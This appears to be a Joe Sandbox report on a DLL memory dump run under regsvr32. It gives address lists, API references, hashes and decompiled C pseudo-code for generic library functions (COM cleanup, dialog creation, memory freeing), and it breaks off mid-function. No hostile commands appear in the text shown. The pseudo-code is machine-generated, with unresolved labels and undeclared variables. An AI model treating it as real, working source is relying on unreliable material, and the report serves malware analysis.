0x6eb61a6d
0x6eb61a71
0x6eb61a74
0x6eb61aa8
0x6eb61aad
0x6eb61ab3
0x6eb61ab6
0x6eb61ab6
0x00000000
0x6eb61ab6
0x6eb61a76
0x6eb61a79
0x6eb61a9e
0x6eb61a9e
0x6eb61aa3
0x00000000
0x6eb61aa3
0x6eb61a7b
0x6eb61a7e
0x00000000
0x00000000
0x6eb61a83
0x6eb61a86
0x6eb61a9a
0x6eb61a88
0x6eb61a8d
0x6eb61a90
0x6eb61a90
0x00000000
0x6eb61a86
0x6eb619c2
0x6eb619c2
0x6eb619c6
0x6eb619c9
0x00000000
0x00000000
0x6eb619cb
0x6eb619ce
0x00000000
0x6eb619ce
0x6eb6193c
0x6eb6193c
0x6eb6193f
0x6eb61948
0x6eb6196a
0x6eb6196f
0x6eb61972
0x6eb61978
0x6eb6197d
0x6eb61982
0x6eb61986
0x6eb61989
0x6eb6198c
0x6eb61990
0x6eb61994
0x6eb61994
0x6eb61995
0x6eb61999
0x6eb6199d
0x6eb6199e
0x6eb619a1
0x6eb619a9
0x6eb619ac
0x6eb619ac
0x00000000
0x6eb619ac
0x00000000

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 6EB618EF
lstrlenA.KERNEL32(00000000,000000FF,00000050,6EB5773E,00000000,00000001,?,?,000000FF,?,?,?,?,?,?,00000034), ref: 6EB61921

Part of subcall function 6EB48D02: _memcpy_s.LIBCMT ref: 6EB48D13

_memset.LIBCMT ref: 6EB619F1
VariantClear.OLEAUT32(?), ref: 6EB61ACB

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ClearH_prolog3_catch_Variant_memcpy_s_memsetlstrlen
String ID:
API String ID: 4021759052-0
Opcode ID: 533be16d970fe85f918d449a943b6315c2bc6ce99f7c7a9e16b8f0675cb6a6e1
Instruction ID: c189e2b35279221955644123bca8a9d00878fd16c5b6bbdc86a0bbf9f7a4743f
Opcode Fuzzy Hash: 533be16d970fe85f918d449a943b6315c2bc6ce99f7c7a9e16b8f0675cb6a6e1
Instruction Fuzzy Hash: BCA15731C0068ADBCF01CFE9C8846EEBFB4FF05314F188659E528A7290D7359A59CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5E2A5 Relevance: 9.2, APIs: 6, Instructions: 180
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 73%

			E6EB5E2A5(void* __ebx, intOrPtr __ecx, intOrPtr* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t83;
				intOrPtr* _t84;
				intOrPtr _t85;
				intOrPtr* _t86;
				intOrPtr _t99;
				intOrPtr* _t119;
				intOrPtr* _t120;
				intOrPtr* _t122;
				intOrPtr* _t124;
				intOrPtr* _t126;
				intOrPtr* _t128;
				intOrPtr* _t141;
				intOrPtr* _t147;
				void* _t156;
				intOrPtr _t158;
				intOrPtr* _t159;
				void* _t160;
				intOrPtr _t172;

				_t155 = __edi;
				_push(0x10);
				E6EB664FB(0x6eb7812e, __ebx, __edi, __esi);
				_t158 = __ecx;
				 *((intOrPtr*)(_t160 - 0x1c)) = __ecx;
				 *((intOrPtr*)(__ecx)) = 0x6eb7b754;
				 *(_t160 - 4) = 0;
				if( *((intOrPtr*)(__ecx + 0x58)) == 0) {
					L11:
					while( *((intOrPtr*)(_t158 + 0x24)) != 0) {
						_t155 =  *((intOrPtr*)( *((intOrPtr*)(_t158 + 0x1c)) + 8));
						__eflags = _t155;
						if(_t155 == 0) {
							break;
						}
						_t147 =  *_t155;
						__eflags = _t147;
						if(_t147 == 0) {
							break;
						}
						 *((intOrPtr*)( *_t147 + 0xbc))( *((intOrPtr*)(_t155 + 8)), 0);
						 *((intOrPtr*)( *_t155 + 0x98)) = 0;
					}
					 *((intOrPtr*)(_t160 - 0x18)) = _t158 + 0x18;
					E6EB56691(_t158 + 0x18);
					if( *((intOrPtr*)(_t158 + 0x40)) == 0) {
						L19:
						_t83 =  *((intOrPtr*)(_t158 + 8));
						if(_t83 != 0) {
							 *((intOrPtr*)( *_t83 + 8))(_t83);
						}
						_t84 =  *((intOrPtr*)(_t158 + 0xc));
						if(_t84 != 0) {
							 *((intOrPtr*)( *_t84 + 8))(_t84);
						}
						if( *((intOrPtr*)(_t158 + 0x14)) == 0) {
							L32:
							_t85 =  *((intOrPtr*)(_t158 + 0x34));
							if(_t85 != 0) {
								__imp__CoTaskMemFree(_t85);
							}
							_t134 =  *((intOrPtr*)(_t158 + 0x54));
							if( *((intOrPtr*)(_t158 + 0x54)) != 0) {
								E6EB5CAFC(_t134,  *((intOrPtr*)( *((intOrPtr*)(_t158 + 0x50)))));
								E6EB58C4A( *((intOrPtr*)(_t158 + 0x54)));
							}
							_t135 =  *((intOrPtr*)(_t158 + 0x54));
							_t184 =  *((intOrPtr*)(_t158 + 0x54));
							if( *((intOrPtr*)(_t158 + 0x54)) != 0) {
								E6EB5CADB(0, _t135, _t155, _t184, 1);
							}
							_t136 =  *((intOrPtr*)(_t158 + 0x50));
							_t185 =  *((intOrPtr*)(_t158 + 0x50));
							if( *((intOrPtr*)(_t158 + 0x50)) != 0) {
								L6EB5E1E0(0, _t136, _t155, _t185, 1);
							}
							_t86 =  *((intOrPtr*)(_t158 + 0x4c));
							if(_t86 != 0) {
								 *((intOrPtr*)( *_t86 + 8))(_t86);
							}
							_t159 =  *((intOrPtr*)(_t158 + 0x48));
							if(_t159 != 0) {
								 *((intOrPtr*)( *_t159 + 8))(_t159);
							}
							 *(_t160 - 4) =  *(_t160 - 4) | 0xffffffff;
							return E6EB665D3(E6EB567A1( *((intOrPtr*)(_t160 - 0x18))));
						} else {
							 *((intOrPtr*)(_t160 - 0x10)) = 0;
							if( *((intOrPtr*)(_t158 + 0x10)) <= 0) {
								L31:
								__imp__CoTaskMemFree( *((intOrPtr*)(_t158 + 0x14)));
								goto L32;
							}
							_t156 = 0;
							do {
								_t99 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t158 + 0x14)) + _t156 + 0x24)) + 4));
								 *((intOrPtr*)(_t160 - 0x14)) = _t99;
								if(_t99 == 0) {
									goto L28;
								} else {
									goto L27;
								}
								do {
									L27:
									 *((intOrPtr*)( *((intOrPtr*)(E6EB4ABF2(_t160 - 0x14))) + 0x98)) = 0;
								} while ( *((intOrPtr*)(_t160 - 0x14)) != 0);
								L28:
								E6EB56691( *((intOrPtr*)( *((intOrPtr*)(_t158 + 0x14)) + _t156 + 0x24)));
								_t141 =  *((intOrPtr*)( *((intOrPtr*)(_t158 + 0x14)) + _t156 + 0x24));
								if(_t141 != 0) {
									 *((intOrPtr*)( *_t141 + 4))(1);
								}
								 *((intOrPtr*)(_t160 - 0x10)) =  *((intOrPtr*)(_t160 - 0x10)) + 1;
								_t156 = _t156 + 0x28;
							} while ( *((intOrPtr*)(_t160 - 0x10)) <  *((intOrPtr*)(_t158 + 0x10)));
							goto L31;
						}
					}
					_t155 = 0;
					if( *((intOrPtr*)(_t158 + 0x38)) <= 0) {
						L17:
						if(_t172 != 0) {
							E6EB47CD0(0, _t155, _t158, _t172,  *((intOrPtr*)(_t158 + 0x3c)));
							E6EB47CD0(0, _t155, _t158, _t172,  *((intOrPtr*)(_t158 + 0x40)));
						}
						goto L19;
					}
					 *((intOrPtr*)(_t160 - 0x10)) = 0;
					do {
						__imp__#9( *((intOrPtr*)(_t158 + 0x40)) +  *((intOrPtr*)(_t160 - 0x10)));
						 *((intOrPtr*)(_t160 - 0x10)) =  *((intOrPtr*)(_t160 - 0x10)) + 0x10;
						_t155 = _t155 + 1;
					} while (_t155 <  *((intOrPtr*)(_t158 + 0x38)));
					_t172 =  *((intOrPtr*)(_t158 + 0x38));
					goto L17;
				}
				_t119 =  *((intOrPtr*)(__ecx + 0x50));
				if(_t119 == 0) {
					goto L11;
				}
				_t120 =  *_t119;
				_push(_t160 - 0x14);
				_push(0x6eb7e1d4);
				_push(_t120);
				if( *((intOrPtr*)( *_t120))() < 0) {
					goto L11;
				}
				_t122 =  *((intOrPtr*)(_t160 - 0x14));
				if(_t122 == 0) {
					goto L11;
				}
				_push(_t160 - 0x10);
				_push(0x6eb7e454);
				 *((intOrPtr*)(_t160 - 0x10)) = 0;
				_push(_t122);
				if( *((intOrPtr*)( *_t122 + 0x10))() >= 0) {
					_t126 =  *((intOrPtr*)(_t160 - 0x10));
					if(_t126 != 0) {
						 *((intOrPtr*)( *_t126 + 0x18))(_t126,  *((intOrPtr*)(__ecx + 0x58)));
						_t128 =  *((intOrPtr*)(_t160 - 0x10));
						 *((intOrPtr*)( *_t128 + 8))(_t128);
					}
				}
				_t124 =  *((intOrPtr*)(_t160 - 0x14));
				 *((intOrPtr*)( *_t124 + 8))(_t124);
				goto L11;
			}

0x6eb5e2a5
0x6eb5e2a5
0x6eb5e2ac
0x6eb5e2b1
0x6eb5e2b3
0x6eb5e2b6
0x6eb5e2be
0x6eb5e2c4
0x00000000
0x6eb5e34a
0x6eb5e329
0x6eb5e32c
0x6eb5e32e
0x00000000
0x00000000
0x6eb5e330
0x6eb5e332
0x6eb5e334
0x00000000
0x00000000
0x6eb5e33c
0x6eb5e344
0x6eb5e344
0x6eb5e352
0x6eb5e355
0x6eb5e35d
0x6eb5e397
0x6eb5e397
0x6eb5e39c
0x6eb5e3a1
0x6eb5e3a1
0x6eb5e3a4
0x6eb5e3a9
0x6eb5e3ae
0x6eb5e3ae
0x6eb5e3b4
0x6eb5e423
0x6eb5e423
0x6eb5e428
0x6eb5e42b
0x6eb5e42b
0x6eb5e431
0x6eb5e436
0x6eb5e43d
0x6eb5e445
0x6eb5e445
0x6eb5e44a
0x6eb5e44d
0x6eb5e44f
0x6eb5e453
0x6eb5e453
0x6eb5e458
0x6eb5e45b
0x6eb5e45d
0x6eb5e461
0x6eb5e461
0x6eb5e466
0x6eb5e46b
0x6eb5e470
0x6eb5e470
0x6eb5e473
0x6eb5e478
0x6eb5e47d
0x6eb5e47d
0x6eb5e483
0x6eb5e491
0x6eb5e3b6
0x6eb5e3b9
0x6eb5e3bc
0x6eb5e41a
0x6eb5e41d
0x00000000
0x6eb5e41d
0x6eb5e3be
0x6eb5e3c0
0x6eb5e3c7
0x6eb5e3ca
0x6eb5e3cf
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb5e3d1
0x6eb5e3d1
0x6eb5e3e3
0x6eb5e3e9
0x6eb5e3ee
0x6eb5e3f5
0x6eb5e3fd
0x6eb5e403
0x6eb5e409
0x6eb5e409
0x6eb5e40c
0x6eb5e412
0x6eb5e415
0x00000000
0x6eb5e3c0
0x6eb5e3b4
0x6eb5e35f
0x6eb5e364
0x6eb5e383
0x6eb5e383
0x6eb5e388
0x6eb5e390
0x6eb5e396
0x00000000
0x6eb5e383
0x6eb5e366
0x6eb5e369
0x6eb5e370
0x6eb5e376
0x6eb5e37a
0x6eb5e37b
0x6eb5e380
0x00000000
0x6eb5e380
0x6eb5e2ca
0x6eb5e2cf
0x00000000
0x00000000
0x6eb5e2d1
0x6eb5e2d8
0x6eb5e2d9
0x6eb5e2de
0x6eb5e2e3
0x00000000
0x00000000
0x6eb5e2e5
0x6eb5e2ea
0x00000000
0x00000000
0x6eb5e2ef
0x6eb5e2f0
0x6eb5e2f5
0x6eb5e2fa
0x6eb5e300
0x6eb5e302
0x6eb5e307
0x6eb5e30f
0x6eb5e312
0x6eb5e318
0x6eb5e318
0x6eb5e307
0x6eb5e31b
0x6eb5e321
0x00000000

APIs

__EH_prolog3.LIBCMT ref: 6EB5E2AC
VariantClear.OLEAUT32(?), ref: 6EB5E370
CoTaskMemFree.OLE32(?,00000010,6EB5E49F), ref: 6EB5E41D
CoTaskMemFree.OLE32(?,00000010,6EB5E49F), ref: 6EB5E42B
ctype.LIBCPMT ref: 6EB5E453
ctype.LIBCPMT ref: 6EB5E461

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: FreeTaskctype$ClearH_prolog3Variant
String ID:
API String ID: 151822039-0
Opcode ID: 2d2292bba67123e49aa19c0327a777013d95b606755d9a51687c0bf775fdd69e
Instruction ID: aaec31bd5cd218bba0837d08e817f2a4412580707bac45ea4e1827d99dfa9924
Opcode Fuzzy Hash: 2d2292bba67123e49aa19c0327a777013d95b606755d9a51687c0bf775fdd69e
Instruction Fuzzy Hash: B5710071A006868FDB60DFE4C9D496EBBF6FF48304720486CE5569BB61CB70E895CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB52F37 Relevance: 9.1, APIs: 6, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E6EB52F37(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t60;
				signed int _t65;
				signed int _t68;
				struct HWND__* _t69;
				signed int _t72;
				signed int _t102;
				void* _t113;
				signed int _t116;
				DLGTEMPLATE* _t117;
				struct HWND__* _t118;
				intOrPtr* _t120;
				void* _t121;

				_t115 = __edi;
				_t113 = __edx;
				_t96 = __ecx;
				_push(0x3c);
				E6EB6652E(0x6eb77903, __ebx, __edi, __esi);
				_t120 = __ecx;
				 *((intOrPtr*)(_t121 - 0x20)) = __ecx;
				_t125 =  *(_t121 + 0x10);
				if( *(_t121 + 0x10) == 0) {
					 *(_t121 + 0x10) =  *(E6EB53D20(0, __edi, __ecx, _t125) + 0xc);
				}
				_t116 =  *(E6EB53D20(0, _t115, _t120, _t125) + 0x3c);
				 *(_t121 - 0x28) = _t116;
				 *(_t121 - 0x14) = 0;
				 *(_t121 - 4) = 0;
				L6EB4F16D(0, _t96, _t116, _t120, _t125, 0x10);
				L6EB4F16D(0, _t96, _t116, _t120, _t125, 0x3c000);
				if(_t116 == 0) {
					_t117 =  *(_t121 + 8);
					L7:
					__eflags = _t117;
					if(_t117 == 0) {
						L4:
						_t60 = 0;
						L26:
						return E6EB665D3(_t60);
					}
					E6EB413B0(_t121 - 0x1c, _t113);
					 *(_t121 - 4) = 1;
					 *((intOrPtr*)(_t121 - 0x18)) = 0;
					_t65 = E6EB60346(0, __eflags, _t117, _t121 - 0x1c, _t121 - 0x18);
					__eflags = _t65;
					__eflags = 0 | _t65 == 0x00000000;
					if(__eflags != 0) {
						_push(_t117);
						E6EB6030A(0, _t121 - 0x38, _t117);
						 *(_t121 - 4) = 2;
						E6EB60266(_t121 - 0x38,  *((intOrPtr*)(_t121 - 0x18)));
						 *(_t121 - 0x14) = E6EB5FF73(_t121 - 0x38);
						 *(_t121 - 4) = 1;
						E6EB5FF65(_t121 - 0x38);
						__eflags =  *(_t121 - 0x14);
						if(__eflags != 0) {
							_t117 = GlobalLock( *(_t121 - 0x14));
						}
					}
					 *(_t120 + 0x44) =  *(_t120 + 0x44) | 0xffffffff;
					 *(_t120 + 0x3c) =  *(_t120 + 0x3c) | 0x00000010;
					E6EB4E26C(__eflags, _t120);
					_t68 =  *(_t121 + 0xc);
					__eflags = _t68;
					if(_t68 != 0) {
						_t69 =  *(_t68 + 0x20);
					} else {
						_t69 = 0;
					}
					_t118 = CreateDialogIndirectParamA( *(_t121 + 0x10), _t117, _t69, E6EB52972, 0);
					L6EB41020( *((intOrPtr*)(_t121 - 0x1c)) + 0xfffffff0, _t113);
					 *(_t121 - 4) =  *(_t121 - 4) | 0xffffffff;
					_t102 =  *(_t121 - 0x28);
					__eflags = _t102;
					if(__eflags != 0) {
						__eflags = _t118;
						if(__eflags != 0) {
							 *((intOrPtr*)( *_t102 + 0x18))(_t121 - 0x48);
							 *((intOrPtr*)( *_t120 + 0x134))(0);
						}
					}
					_t72 = E6EB4C7E6(__eflags);
					__eflags = _t72;
					if(_t72 == 0) {
						 *((intOrPtr*)( *_t120 + 0x11c))();
					}
					__eflags = _t118;
					if(_t118 != 0) {
						__eflags =  *(_t120 + 0x3c) & 0x00000010;
						if(( *(_t120 + 0x3c) & 0x00000010) == 0) {
							DestroyWindow(_t118);
							_t118 = 0;
							__eflags = 0;
						}
					}
					__eflags =  *(_t121 - 0x14);
					if( *(_t121 - 0x14) != 0) {
						GlobalUnlock( *(_t121 - 0x14));
						GlobalFree( *(_t121 - 0x14));
					}
					__eflags = _t118;
					_t54 = _t118 != 0;
					__eflags = _t54;
					_t60 = 0 | _t54;
					goto L26;
				}
				_push(_t121 - 0x48);
				if( *((intOrPtr*)( *_t120 + 0x134))() != 0) {
					_t117 =  *((intOrPtr*)( *_t116 + 0x14))(_t121 - 0x48,  *(_t121 + 8));
					goto L7;
				}
				goto L4;
			}

0x6eb52f37
0x6eb52f37
0x6eb52f37
0x6eb52f37
0x6eb52f3e
0x6eb52f43
0x6eb52f45
0x6eb52f4a
0x6eb52f4d
0x6eb52f57
0x6eb52f57
0x6eb52f5f
0x6eb52f64
0x6eb52f67
0x6eb52f6a
0x6eb52f6d
0x6eb52f77
0x6eb52f7e
0x6eb52fab
0x6eb52fae
0x6eb52fae
0x6eb52fb0
0x6eb52f92
0x6eb52f92
0x6eb530e5
0x6eb530ea
0x6eb530ea
0x6eb52fb5
0x6eb52fc3
0x6eb52fc7
0x6eb52fca
0x6eb52fd4
0x6eb52fdb
0x6eb52fdd
0x6eb52fdf
0x6eb52fe3
0x6eb52fee
0x6eb52ff2
0x6eb53002
0x6eb53005
0x6eb53009
0x6eb5300e
0x6eb53011
0x6eb5301c
0x6eb5301c
0x6eb53011
0x6eb5301e
0x6eb53022
0x6eb53027
0x6eb5302c
0x6eb5302f
0x6eb53031
0x6eb53037
0x6eb53033
0x6eb53033
0x6eb53033
0x6eb53051
0x6eb53053
0x6eb53058
0x6eb53082
0x6eb53085
0x6eb53087
0x6eb53089
0x6eb5308b
0x6eb53093
0x6eb5309b
0x6eb5309b
0x6eb5308b
0x6eb530a1
0x6eb530a6
0x6eb530a8
0x6eb530ae
0x6eb530ae
0x6eb530b4
0x6eb530b6
0x6eb530b8
0x6eb530bc
0x6eb530bf
0x6eb530c5
0x6eb530c5
0x6eb530c5
0x6eb530bc
0x6eb530c7
0x6eb530ca
0x6eb530cf
0x6eb530d8
0x6eb530d8
0x6eb530e0
0x6eb530e2
0x6eb530e2
0x6eb530e2
0x00000000
0x6eb530e2
0x6eb52f85
0x6eb52f90
0x6eb52fa7
0x00000000
0x6eb52fa7
0x00000000

APIs

__EH_prolog3_catch.LIBCMT ref: 6EB52F3E
GlobalLock.KERNEL32 ref: 6EB53016
CreateDialogIndirectParamA.USER32(?,?,?,Function_00012972,00000000), ref: 6EB53045
DestroyWindow.USER32(00000000), ref: 6EB530BF
GlobalUnlock.KERNEL32(?), ref: 6EB530CF
GlobalFree.KERNEL32 ref: 6EB530D8

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Global$CreateDestroyDialogFreeH_prolog3_catchIndirectLockParamUnlockWindow
String ID:
API String ID: 3003189058-0
Opcode ID: 72fd5946d2581fb36bd76d9baf8548350c44e2d31226bfc8497aaaecfaf29138
Instruction ID: 45c8b611b8f985ac21ac9929e01f0ca74b298b3c97fcdc0276da4e14eb8c71c4
Opcode Fuzzy Hash: 72fd5946d2581fb36bd76d9baf8548350c44e2d31226bfc8497aaaecfaf29138
Instruction Fuzzy Hash: D8518B3191138AEFDF04DFE4C988AEEBFB9AF09314F150829E512A7394CB309A51CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5B7A6 Relevance: 9.1, APIs: 6, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E6EB5B7A6(void* __eflags, void* _a4, intOrPtr _a8) {
				char _v8;
				intOrPtr* _v12;
				char _v16;
				char _v32;
				intOrPtr* _v36;
				intOrPtr* _v40;
				intOrPtr* _v44;
				intOrPtr* _v52;
				intOrPtr* _v56;
				intOrPtr* _v60;
				char _v64;
				char _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t49;
				intOrPtr* _t52;
				intOrPtr* _t53;
				intOrPtr* _t58;
				intOrPtr _t59;
				intOrPtr* _t60;
				intOrPtr _t71;
				intOrPtr* _t73;
				char* _t83;
				intOrPtr* _t84;
				void* _t86;

				_t83 = _a4 + 0xffffff28;
				_t74 =  &_v16;
				E6EB53D6C( &_v16, __eflags,  *((intOrPtr*)(_a4 - 0xbc)));
				if( *((intOrPtr*)(_t83 + 0x88)) == 0) {
					_t71 = _a8;
					__eflags =  *((intOrPtr*)(_t83 + 0x90));
					if( *((intOrPtr*)(_t83 + 0x90)) != 0) {
						L9:
						__eflags =  *((intOrPtr*)(_t83 + 0x9c)) - _t71;
						if( *((intOrPtr*)(_t83 + 0x9c)) != _t71) {
							L22:
							__eflags = _v12;
							if(_v12 != 0) {
								_push(_v16);
								_push(0);
								E6EB53579();
							}
							_t49 = 0;
							__eflags = 0;
							L25:
							return _t49;
						}
						__imp__#9(_t83 + 0xac);
						_t52 =  *((intOrPtr*)(_t83 + 0x50));
						_a4 = 0;
						__eflags = _t52;
						if(__eflags != 0) {
							L12:
							_t74 =  *_t52;
							_t53 =  *((intOrPtr*)( *_t52))(_t52, 0x6eb7e0e4,  &_a4);
							__eflags = _t53;
							if(_t53 < 0) {
								goto L22;
							}
							E6EB65E80(_t83,  &_v64, 0, 0x20);
							E6EB65E80(_t83,  &_v32, 0, 0x10);
							_t58 = _a4;
							_t86 = _t86 + 0x18;
							__eflags = _t58;
							if(__eflags == 0) {
								goto L11;
							}
							_t59 =  *((intOrPtr*)( *_t58 + 0x18))(_t58, _t71, 0x6eb7e0f4, 0, 2,  &_v32, _t83 + 0xac,  &_v64,  &_v8);
							_t73 = __imp__#6;
							_a8 = _t59;
							__eflags = _v60;
							if(_v60 != 0) {
								 *_t73(_v60);
							}
							__eflags = _v56;
							if(_v56 != 0) {
								 *_t73(_v56);
							}
							__eflags = _v52;
							if(_v52 != 0) {
								 *_t73(_v52);
							}
							_t60 = _a4;
							 *((intOrPtr*)( *_t60 + 8))(_t60);
							__eflags = _a8;
							if(_a8 >= 0) {
								 *((intOrPtr*)(_t83 + 0xa8)) = 1;
							}
							goto L22;
						}
						L11:
						_t52 = E6EB48BA4(_t71, _t74, _t83, 0, __eflags);
						goto L12;
					}
					_t74 = _t83;
					_v68 = 2;
					_v64 = _t71;
					_v60 = 0;
					_v56 = 0;
					_v52 = 0;
					_v44 = 0;
					_v40 = 0;
					_v36 = 0;
					E6EB594EA(_t83,  &_v68);
					__eflags = _v44;
					if(_v44 == 0) {
						goto L9;
					}
					_t84 = _v44;
					__eflags = _v12;
					if(_v12 != 0) {
						_push(_v16);
						_push(0);
						E6EB53579();
					}
					_t49 = _t84;
					goto L25;
				}
				if(_v12 != 0) {
					_push(_v16);
					_push(0);
					E6EB53579();
				}
				return 0;
			}

0x6eb5b7b9
0x6eb5b7bf
0x6eb5b7c2
0x6eb5b7cf
0x6eb5b7e7
0x6eb5b7ea
0x6eb5b7f0
0x6eb5b836
0x6eb5b836
0x6eb5b83c
0x6eb5b8f7
0x6eb5b8f7
0x6eb5b8fa
0x6eb5b8fc
0x6eb5b8ff
0x6eb5b900
0x6eb5b900
0x6eb5b905
0x6eb5b905
0x6eb5b907
0x00000000
0x6eb5b907
0x6eb5b849
0x6eb5b84f
0x6eb5b852
0x6eb5b855
0x6eb5b857
0x6eb5b85e
0x6eb5b85e
0x6eb5b86a
0x6eb5b86c
0x6eb5b86e
0x00000000
0x00000000
0x6eb5b87b
0x6eb5b887
0x6eb5b88c
0x6eb5b88f
0x6eb5b892
0x6eb5b894
0x00000000
0x00000000
0x6eb5b8b5
0x6eb5b8b8
0x6eb5b8be
0x6eb5b8c1
0x6eb5b8c4
0x6eb5b8c9
0x6eb5b8c9
0x6eb5b8cb
0x6eb5b8ce
0x6eb5b8d3
0x6eb5b8d3
0x6eb5b8d5
0x6eb5b8d8
0x6eb5b8dd
0x6eb5b8dd
0x6eb5b8df
0x6eb5b8e5
0x6eb5b8e8
0x6eb5b8eb
0x6eb5b8ed
0x6eb5b8ed
0x00000000
0x6eb5b8eb
0x6eb5b859
0x6eb5b859
0x00000000
0x6eb5b859
0x6eb5b7f6
0x6eb5b7f8
0x6eb5b7ff
0x6eb5b802
0x6eb5b805
0x6eb5b808
0x6eb5b80b
0x6eb5b80e
0x6eb5b811
0x6eb5b814
0x6eb5b819
0x6eb5b81c
0x00000000
0x00000000
0x6eb5b81e
0x6eb5b821
0x6eb5b824
0x6eb5b826
0x6eb5b829
0x6eb5b82a
0x6eb5b82a
0x6eb5b82f
0x00000000
0x6eb5b82f
0x6eb5b7d4
0x6eb5b7d6
0x6eb5b7d9
0x6eb5b7da
0x6eb5b7da
0x00000000

APIs

VariantClear.OLEAUT32(?), ref: 6EB5B849
_memset.LIBCMT ref: 6EB5B87B
_memset.LIBCMT ref: 6EB5B887
SysFreeString.OLEAUT32(?), ref: 6EB5B8C9
SysFreeString.OLEAUT32(?), ref: 6EB5B8D3
SysFreeString.OLEAUT32(?), ref: 6EB5B8DD

Part of subcall function 6EB48BA4: __CxxThrowException@8.LIBCMT ref: 6EB48BBA
Part of subcall function 6EB48BA4: __EH_prolog3.LIBCMT ref: 6EB48BC7

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: FreeString$_memset$ClearException@8H_prolog3ThrowVariant
String ID:
API String ID: 320298052-0
Opcode ID: 8047e058b71a9ae434effa6834f10616efb215e69596070c04d22e7932cb22a6
Instruction ID: d490b131f43938a905d31ec4fed1a635d5391e1ae15fc004e63a2ab533b13b0a
Opcode Fuzzy Hash: 8047e058b71a9ae434effa6834f10616efb215e69596070c04d22e7932cb22a6
Instruction Fuzzy Hash: 57413471D11669FFCF029FE4C884ADDBB79FF08714F10851AF024A6258D73099A0CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EB61CD4 Relevance: 9.1, APIs: 6, Instructions: 116
memoryCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E6EB61CD4(void* __edx, void* __eflags, short* _a4, intOrPtr _a8) {
				signed int _v8;
				char _v264;
				char _v268;
				char* _v272;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t41;
				void* _t45;
				short _t46;
				void* _t51;
				intOrPtr _t64;
				intOrPtr _t72;
				void* _t75;
				void* _t95;
				void* _t96;
				intOrPtr* _t97;
				void* _t98;
				short* _t100;
				void* _t101;
				signed int _t105;

				_t95 = __edx;
				_t103 = _t105;
				_t41 =  *0x6eb89470; // 0x6287ae78
				_v8 = _t41 ^ _t105;
				_t72 = _a8;
				_t100 = _a4;
				_push(_t96);
				E6EB65E80(_t96, _t100, 0, 0x20);
				_v272 =  &_v264;
				_t45 = L6EB541FB(_t72, 0x6eb7c140);
				_t97 = __imp__#2;
				if(_t45 == 0) {
					_t77 = _t72;
					_t46 = L6EB541FB(_t72, 0x6eb797c0);
					__eflags = _t46;
					_push(0x100);
					_push( &_v264);
					_t73 = 0xf10a;
					if(_t46 == 0) {
						_t73 = 0xf108;
						__eflags = 0xf10a;
					}
					_push(_t73);
					E6EB53417(_t73, _t77, _t97, _t100);
					 *_t100 = _t73;
				} else {
